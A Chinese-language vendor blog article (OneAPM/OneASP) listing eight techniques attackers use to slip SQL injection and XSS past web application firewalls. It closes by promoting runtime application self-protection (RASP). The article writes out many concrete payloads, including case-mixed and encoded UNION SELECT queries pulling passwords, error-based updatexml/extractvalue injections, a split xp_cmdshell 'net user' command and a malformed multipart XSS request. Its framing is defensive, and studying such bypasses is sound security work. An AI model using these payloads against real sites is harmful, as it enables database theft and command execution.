近十年来，WAF 已经逐渐发展成熟，被软件行业接受并成为无数企业保护应用的不二选择。很多大型企业甚至相继亲自设计或通过并购涉足其中，在这个硕大的市场里逐鹿竞争，同时也推动了应用层防火墙的技术演进。
与传统防火墙工作在传输层或网络层不同，WAF 工作在应用层，基于对 Web 应用业务和逻辑的理解，WAF 对各类请求进行内容检测和验证，可以做到实时阻断非法的请求，从而对各类网站应用进行有效保护。
然而道高一尺，魔高一丈。现代黑客的技术水平也在日新月异，零日攻击早已不是新鲜事，WAF 做为把守应用安全的重要一关难逃此劫。从原理上讲，WAF 实施的还是基于协议理解＋内容正则匹配的工作方式，当企业应用代码更新时，亦要及时更新规则集，避免误报造成业务中断；在另一方面，企业需要有个跟踪安全动态的方案，以期当形形色色新的攻击方式出现时，可以第一时间更新规则集，否则就有可能被黑客钻了空子造成损失。因此，误报和漏报是悬在应用 WAF 保护的企业头顶的两把利刃，尤其以后者为甚。
要解决这两个问题，简而言之：前者需要增加研发投入，将 WAF 规则集更新纳入正常的研发流程管理起来；后者的基本思路则是吃透 WAF，知己知彼，百战不殆。想了解怎样防先要知道对手可能怎样攻。在此，我想尝试着列举一下企业可以在哪些方面下功夫使 WAF 变得更加靠谱，减少漏报。这其中包括个人的经验，也包括一些网友分享的经验，以飨读者。
1，大小写混排
这可以算最容易想到的方式了。大小写绕过用于只针对小写或大写的关键字匹配技术，正则表达式 /express/i 大小写不敏感即无法绕过，这是最简单的绕过技术。
举例：z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
减少漏报方法：对每个关键字或每种情况都做大小写转换的处理。
2，替换关键字
这种情况下大小写转化无法绕过，而且正则表达式会替换或删除 select、union 这些关键字，如果只匹配一次就很容易绕过。
举例：z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
减少漏报方法：这种替换可以构造得更复杂：SeLSeselectleCTecT，设计循环匹配逻辑才可以封堵住。
3，对一些攻击特征串进行不同的编码
如 URL 编码，ASCII，Unicode 等，使用一些非标准的编码很容易就可以绕过 WAF。
URL 编码
在 Chrome 中输入一个连接，非保留字的字符浏览器会对其 URL 编码，如空格变为%20、单引号%27、左括号%28、右括号%29
普通的URL编码可能无法实现绕过，还存在一种情况URL编码只进行了一次过滤，可以用两次编码绕过：page.php?id=1%252f%252a*/UNION%252f%252a /SELECT-
十六进制编码
举例：z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4… SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中，前者是对单个字符十六进制编码，后者则是对整个字符串编码，使用上来说较少见一点。
- Unicode编码
Unicode有所谓的标准编码和非标准编码，假设我们用的utf-8为标准编码，那么西欧语系所使用的就是非标准编码了。
看一下常用的几个符号的一些Unicode编码：
- 单引号: %u0027、%u02b9、%u02bc、 %u02c8、 %u2032、 %uff07、 %c0%27、 %c0%a7、 %e0%80%a7
- 空格：%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
- 左括号：%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
- 右括号：%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
举例：?id=10%D6‘%20AND%201=2%23 SELECT ‘Ä’=’A’; #1
两个示例中，前者利用双字节绕过，比如对单引号转义操作变成 \’，那么就变成了 %D6%5C’，%D6%5C 构成了一个双字节即 Unicode 字节，单引号可以正常使用。
第二个示例使用的是两种不同编码的字符的比较，它们比较的结果可能是 True 或者 False ，关键在于 Unicode 编码种类繁多，基于黑名单的过滤器无法处理所有情况，从而实现绕过。
另外平时听得多一点的可能是 utf-7 的绕过，还有 utf-16、utf-32 的绕过，后者曾成功的实现对 google 的绕过，有兴趣的朋友可以去了解下。
减少漏报方法：暂无，有待调研
4，使用注释
看一下常见的用于注释的符号有哪些：//, — , /**/, #, –+,– -, ;，–a
-
普通注释
举例：
z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4 ‘union%a0select pass from users#/**/在构造得查询语句中插入注释，规避对空格的依赖或关键字识别; #、–+ 用于终结语句的查询
- 内联注释
相比普通注释，内联注释用的更多，它有一个特性 /!**/ 只有MySQL能识别
举例：index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3 ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
两个示例中前者使用内联注释，后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分，要做到这一点后面讨论的特殊符号也能实现，当然前提是包括/、*在内的这些字符能正常使用。
减少漏报方法：增加 WAF 匹配规则对注视的支持
5，等价函数与命令
有些函数或命令因其关键字被检测出来而无法使用，但是在很多情况下可以使用与之等价或类似的代码替代其使用。
-
函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例：
substring()和substr()无法使用时：? id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者：substr((select ‘password’),1,1) = 0×70
strcmp(left(‘password’,1), 0×69) = 1
strcmp(left(‘password’,1), 0×70) = 0
strcmp(left(‘password’,1), 0×71) = -1
上述这几个示例用于说明有时候当某个函数不能使用时，还可以找到其他的函数替代其实现，置于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论。
符号
and和or有可能不能使用，或者可以试下&&和||能不能用；还有=不能使用的情况，可以考虑尝试，因为如果不小于又不大于，那边是等于了
在看一下用得多的空格，可以使用如下符号表示其作用：%20 %09 %0a %0b %0c %0d %a0 /**/-
生僻函数
MySQL/PostgreSQL支持XML函数：Select UpdateXML(‘’,’/script/@x/’,’src=//evil.com’); ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)) SELECT xmlelement(name img,xmlattributes(1as src,’a\l\x65rt(1)’as \117n\x65rror)); //postgresql ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它们都有许多自己的函数，基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能，而且代价太大，看来黑名单技术到一定程度便遇到了限制。
减少漏报方法：增加WAF规则集的匹配支持
6，特殊符号
这里我把非字母数字的字符都规在了特殊符号一类，特殊符号有特殊的含义和用法，涉及信息量比前面提到的几种都要多。
先看下乌云drops上“waf的绕过技巧”一文使用的几个例子：
- 使用反引号`，例如select `version()`，可以用来过空格和正则，特殊情况下还可以将其做注释符用
- 神奇的”-+.”，select+id-1+1.from users; “+”是用于字符串连接的，”-”和”.”在此也用于连接，可以逃过空格和关键字过滤
- @符号，select@^1.from users; @用于变量定义如@var_name，一个@表示用户定义，@@表示系统变量
- Mysql function() as xxx 也可不用as和空格, select-count(id)test from users; //绕过空格限制
可见，使用这些字符的确是能做很多事，也证实了那句老话，只有想不到，没有做不到。
本人搜罗了部分可能发挥大作用的字符(未包括’、*、/等在内，考虑到前面已经出现较多次了)：````、~、!、@、%、()、[]、.、-、+ 、|、%00```
举例：
关键字拆分：‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+’ster..x’+’p_cm’+’dsh’+’ell ”net user”’)
!和()：’ or –+2=- -!!!’2
id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔
本节最后给出一些和这些字符多少有点关系的操作符供参考：
>>, <<, >=,,,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用这些”特殊符号”实现绕过是一件很细微的事情，一方面各家数据库对有效符号的处理是不一样的，另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段。
减少漏报方法：增加WAF规则集的匹配支持
7，HTTP参数控制
这里HTTP参数控制除了对查询语句的参数进行篡改，还包括HTTP方法、HTTP头的控制
-
HPP(HTTP Parameter Polution)
举例：/?id=1;select+1,2,3+from+users+where+id=1— /?id=1;select+1&id=2,3+from+users+where+id=1— /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
HPP又称做重复参数污染，最简单的就是?uid=1&uid=2&uid=3，对于这种情况，不同的Web服务器处理方式如下：
具体WAF如何处理，要看其设置的规则，不过就示例中最后一个来看有较大可能绕过。
-
HPF(HTTP Parameter Fragment)
这种方法是HTTP分割注入，同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
举例：/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users– select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
看罢上面两个示例，发现和HPP最后一个示例很像，不同之处在于参数不一样，这里是在不同的参数之间进行分割，到了数据库执行查询时再合并语句。
- HPC(HTTP Parameter Contamination)
这一概念见于exploit-db上的paper：Beyond SQLi: Obfuscate and Bypass，Contamination同样意为污染。
RFC2396定义了如下一些字符：
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ‘ ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `
不同的Web服务器处理处理构造得特殊请求时有不同的逻辑：
以魔术字符%为例，Asp/Asp.net会受到影响
减少漏报方法：增加WAF规则集的匹配支持
8，缓冲区溢出(Advanced)
缓冲区溢出用于对付WAF，有不少WAF是C语言写的，而C语言自身没有缓冲区保护机制，因此如果WAF在处理测试向量时超出了其缓冲区长度，就会引发bug从而实现绕过。
举例：
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A”重复1000次，一般来说对应用软件构成缓冲区溢出都需要较大的测试长度，这里1000只做参考，在某些情况下可能不需要这么长也能溢出
此外，有时把使用GET方法的攻击转换成使用POST方法的攻击可能会避开某些过滤。因为许多应用程序只针对某种类型的请求执行过滤，如GET请求，阻止已知的攻击字符串。如果一个应用程序希望收到使用GET方法的请求，使用POST请求就可以完全避开这种过滤。
再来看一个因没有正确解析HTTP Request数据包导致的WAF绕过，触发一个XSS：
POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=0000
Content-Length: 97
–0000–
Content-Disposition: form-data; name=x’;filename=”‘;name=payload;”
<script>alert(1)</script>
–0000–
正常的HTTP应该是如下：
POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=0000
Content-Length: 97
–0000–
Content-Disposition: form-data; name=”upfile”; filename=”payload”
<script>alert(1)</script>
–0000–
对比上面俩个 HTTP 头，给我们提供了 WAF 绕过的思路——修改攻击特征串或 HTTP 中的一细节，让 WAF 无法解析或者解析错误导致绕过。（许多 WAF 对无法解析的 HTTP 头，默认直接 BYPASS，因此要考虑在配置上针对这种情况做严格过滤）
以上列举了八种绕过 WAF 的方式，一般的解决方案无外乎增加 WAF 规则集的匹配支持，看下来心情想必是不轻松的（也是够长，累，值得赞赏），可见吃透 WAF 和堵住 WAF 漏洞非一日之功可及。在这个快节奏的时代有没有另辟蹊径的思路呢？既然想到了，那搜索之后答案也是肯定的——它就是下一代安全防护机制“运行时应用自我保护”（RASP）。
为什么说 RASP 可以帮助企业摆脱 WAF 这种累死人不偿命的解决方案呢？
举个例子也许大家就明白了。RASP 通常使用探针技术来嵌入应用，而发挥防护作用的正是探针。不像 WAF 使用旁路监听或前置等方式在门外站岗，探针运行在应用的执行环境内部，就像白细胞之于人体一般将恶意攻击拦截消灭。例如 SQL 注入攻击请求尝试以任意用户身份渗透进入数据库，在请求到达应用内部试图调用 JDBC 接口时，值班的探针就可以监测到这个异常请求，并在数据库操作执行之前将其拦下。这种工作方式类似守在金库入口的保安，是明显区别于在外围筑城墙并在城门洞设安检每过必查的 WAF 治安警察的。
如果大家理解了这种拦截方式，就会想到，RASP 的保护依赖对各种调用接口的适配。或许有人会质疑，这不是依然在走 WAF 的老路么？我的回答是此路非彼路。RASP 需要适配的接口是通用接口，而且是面向数据资源的接口（源于数据的价值），是企业搭建业务上层建筑依赖的底层基础，而非千变万化的业务接口，所以 RASP 跟踪并适应行业变化的速度是WAF等传统防护理念无法企及的。
尽管听起来看上去形式相似，但有本质区别。诚然， RASP 和 WAF 都要理解并识别恶意请求的攻击代码，从而进行正则匹配和识别，所以二者在这个工作量上都不少。但 RASP 天生的地缘优势决定，近水楼台先得月，凭借对应用执行逻辑的上下文理解，RASP 比 WAF 更有机会去学习如何更好地抵御恶意攻击，这也是新应用安全架构常常提到的自适应一词的部分含义。而且万变不离其宗，多样的外部攻击字符串到了金库门口的时候，表现形式无非就是几种操作，这使得 RASP 花在匹配攻击字符串上的开销肯定比 WAF 要少。
总结一下，RASP 可以给企业应用带来基因上的改变，在不需要应用修复漏洞的条件下提供保护，并免去了 WAF 繁杂又频繁的配置和维护成本，给企业安全领域带来实质价值的同时，开启了新的想象空间，解决零日攻击也随之变得并非天方夜谭。
参考资料：
WAF防护机制和绕过 http://blog.levsonsafe.com/?p=360
浅谈WAF绕过 http://netsecurity.51cto.com/art/201212/374068.htm
本文系 OneASP 质量架构工程师王新泉原创文章。如今，多样化的攻击手段层出不穷，传统安全解决方案越来越难以应对网络安全攻击。OneRASP 实时应用自我保护技术,可以为软件产品提供精准的实时保护，使其免受漏洞所累。想阅读更多技术文章，请访问 OneAPM 官方技术博客
本文转自 OneAPM 官方博客
